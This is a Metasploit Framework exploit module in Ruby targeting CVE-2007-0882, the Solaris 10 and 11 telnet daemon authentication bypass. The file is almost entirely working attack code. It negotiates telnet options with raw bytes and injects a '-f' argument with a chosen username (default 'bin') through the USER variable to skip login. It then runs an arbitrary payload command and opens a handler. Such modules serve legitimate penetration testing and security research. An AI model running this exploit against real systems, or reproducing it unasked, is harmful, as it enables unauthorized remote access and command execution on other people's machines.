##
# $Id: fuser.rb 9583 2010-06-22 19:11:05Z todb $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
'Description' => %q{
This module exploits the argument injection vulnerabilty
in the telnet daemon (in.telnetd) of Solaris 10 and 11.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9583 $',
'References' =>
[
[ 'CVE', '2007-0882' ],
[ 'OSVDB', '31881'],
[ 'BID', '22512' ],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
['Automatic', { }],
],
'DisclosureDate' => 'Feb 12 2007',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23),
OptString.new('USER', [ true, "The username to use", "bin" ]),
], self.class)
end
def exploit
connect
print_status('Setting USER environment variable...')
req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
sock.put(req)
sock.get_once
req << "\xFF\xFC\x25"
sock.put(req)
sock.get_once
req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
sock.put(req)
sock.get_once
req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
sock.put(req)
sock.get_once
req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
sock.put(req)
sock.get_once
req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"
sock.put(req)
sock.get_once
select(nil,nil,nil,0.25)
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
select(nil,nil,nil,0.25)
handler
end
end